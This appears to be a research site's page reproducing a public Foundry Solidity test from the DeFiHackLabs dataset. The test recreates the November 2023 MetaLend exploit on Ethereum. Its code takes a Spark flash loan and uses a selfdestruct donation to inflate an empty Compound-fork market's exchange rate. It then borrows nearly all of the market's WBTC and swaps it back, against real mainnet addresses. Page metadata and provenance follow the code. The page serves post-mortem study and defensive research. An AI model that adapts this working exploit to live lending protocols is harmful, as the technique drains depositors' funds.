Public reproduction file
src/test/2023-11/MetaLend_exp.sol
Public reproduction file for dataset entry MetaLend.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "./../basetest.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$4K8// Attacker : https://etherscan.io/address/0x0c06340f5024c114fe196fcb38e42d20ab00f6eb9// Attack Contract : https://etherscan.io/address/0x80a6419cb8e7d1ef1af074368f7eace1ae2358ca10// Vulnerable Contract : https://etherscan.io/address/0x5578f2e245e932a599c46215a0ca88707230f17b11// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x4c684fb2618c29743531dec9253ede1b757bda0b323dc2f305e3b50ab1773da713// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x5578f2e245e932a599c46215a0ca88707230f17b#code16// @Analysis17// Post-mortem :18// Twitter Guy : https://x.com/MetaSec_xyz/status/172842496525769117319// Hacking God :21contract MetaLendExploit is BaseTestWithBalanceLog {22 IAaveFlashloan private constant Spark = IAaveFlashloan(0xC13e21B648A5Ee794902342038FF3aDAB66BE987);23 Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);24 IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));25 IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);26 ICointroller private constant Comptroller = ICointroller(0x0ee4b2C533ED3fFbd9f04CD7E812A4041bbE89f6);28 uint256 private constant blocknumToForkFrom = 18_648_753;30 function setUp() public {31 vm.createSelectFork("mainnet", blocknumToForkFrom);32 vm.label(address(Spark), "Spark");33 vm.label(address(Router), "Router");34 vm.label(address(WETH), "WETH");35 vm.label(address(WBTC), "WBTC");36 vm.label(address(Comptroller), "Comptroller");37 }39 function testExploit() public {40 deal(address(this), 0);41 emit log_named_decimal_uint("Exploiter WETH balance before attack", WETH.balanceOf(address(this)), 18);43 Spark.flashLoanSimple(address(this), address(WETH), 100e18, bytes(""), 0);45 emit log_named_decimal_uint("Exploiter WETH balance after attack", WETH.balanceOf(address(this)), 18);46 }48 function executeOperation(49 address asset,50 uint256 amount,51 uint256 premium,52 address initiator,53 bytes calldata params54 ) external returns (bool) {55 WETH.withdraw(WETH.balanceOf(address(this)));56 Helper helper = new Helper{value: 100 ether}();57 helper.donateAndBorrow();58 WETH.deposit{value: address(this).balance}();59 WBTC.approve(address(Router), type(uint256).max);60 WBTCToWETH();61 WETH.approve(address(Spark), amount);62 return true;63 }65 receive() external payable {}67 function WBTCToWETH() private {68 address[] memory path = new address[](2);69 path[0] = address(WBTC);70 path[1] = address(WETH);71 Router.swapExactTokensForTokens(WBTC.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000);72 }73}75contract Helper is Test {76 IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);77 ICErc20Delegate private constant mWBTC = ICErc20Delegate(payable(0x0D8Df79195EC37C6cD53036f9F8eE0c24b23601E));78 crETH private constant mETH = crETH(payable(0x5578f2E245e932a599c46215a0cA88707230F17B));79 ICointroller private constant Comptroller = ICointroller(0x0ee4b2C533ED3fFbd9f04CD7E812A4041bbE89f6);80 address private immutable owner;82 constructor() payable {83 owner = msg.sender;84 }86 function donateAndBorrow() external {87 mETH.mint{value: 1 ether}();88 uint256 reedemAmount = mETH.totalSupply() - 2;89 mETH.redeem(reedemAmount);90 Donator donator = new Donator();91 donator.sendETHTo{value: address(this).balance}(address(mETH));92 address[] memory mTokens = new address[](1);93 mTokens[0] = address(mETH);94 Comptroller.enterMarkets(mTokens);95 uint256 underlyingWBTCAmount = mWBTC.getCash();96 mWBTC.borrow(underlyingWBTCAmount - 1);97 WBTC.transfer(owner, WBTC.balanceOf(address(this)));98 mETH.redeemUnderlying(mETH.getCash() - 1);99 (bool success,) = owner.call{value: address(this).balance}("");100 require(success);101 }103 receive() external payable {}104}106contract Donator is Test {107 function sendETHTo(108 address to109 ) external payable {110 selfdestruct(payable(to));111 }112}Analysis
Dataset entry
Public Foundry test for “MetaLend” (2023-11-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-11/AIS_exp.solSame month in the dataset · 98 lines
- src/test/2023-11/3913_exp.solSame month in the dataset · 163 lines
- src/test/2023-11/BRAND_exp.solSame month in the dataset · 50 lines
- src/test/2023-11/Burntbubba_exp.solSame month in the dataset · 175 lines
- src/test/2023-11/CAROLProtocol_exp.solSame month in the dataset · 228 lines
- src/test/2023-11/EEE_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/EHX_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/FiberRouter_exp.solSame month in the dataset · 78 lines
- src/test/2023-11/grok_exp.solSame month in the dataset · 82 lines
- src/test/2023-11/KR_exp.solSame month in the dataset · 41 lines
- src/test/2023-11/KyberSwap_exp.eth.1.solSame month in the dataset · 229 lines
- src/test/2023-11/LinkDao_exp.solSame month in the dataset · 73 lines
- src/test/2023-11/MahaLend_exp.solSame month in the dataset · 118 lines
- src/test/2023-11/bot_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/MEV_0x8c2d_exp.solSame month in the dataset · 101 lines
- src/test/2023-11/MEV_0xa247_exp.solSame month in the dataset · 188 lines
- src/test/2023-11/OKC_exp.solSame month in the dataset · 341 lines
- src/test/2023-11/OnyxProtocol_exp.solSame month in the dataset · 348 lines
- src/test/2023-11/Raft_exp.solSame month in the dataset · 194 lines
- src/test/2023-11/RBalancer_exp.solSame month in the dataset · 49 lines
- src/test/2023-11/ShibaToken_exp.solSame month in the dataset · 202 lines
- src/test/2023-11/SwampFinance_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/TheNFTV2_exp.solSame month in the dataset · 80 lines
- src/test/2023-11/TheStandard_io_exp.solSame month in the dataset · 236 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0c06340f5024c114fe196fcb38e42d20ab00f6eb
- Attack Contract
0x80a6419cb8e7d1ef1af074368f7eace1ae2358ca
- Vulnerable Contract
0x5578f2e245e932a599c46215a0ca88707230f17b
- Attack Tx
0x4c684fb2618c29743531dec9253ede1b757bda0b323dc2f305e3b50ab1773da7
- Twitter: https://x.com/MetaSec_xyz/status/1728424965257691173
- Explorer: https://etherscan.io/address/0x0c06340f5024c114fe196fcb38e42d20ab00f6eb
- Explorer: https://etherscan.io/address/0x80a6419cb8e7d1ef1af074368f7eace1ae2358ca
- Explorer: https://etherscan.io/address/0x5578f2e245e932a599c46215a0ca88707230f17b
- Explorer: https://etherscan.io/address/0x5578f2e245e932a599c46215a0ca88707230f17b#code
File record
- Name
- MetaLend
- Path
- src/test/2023-11/MetaLend_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- b782dc26b0407d7ae69270035c62af0f310cdf6f
- Language
- Solidity
- Size
- 113 lines
- Date
- 2023-11-25
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-11/MetaLend_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b782dc26b0407d7ae69270035c62af0f310cdf6f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.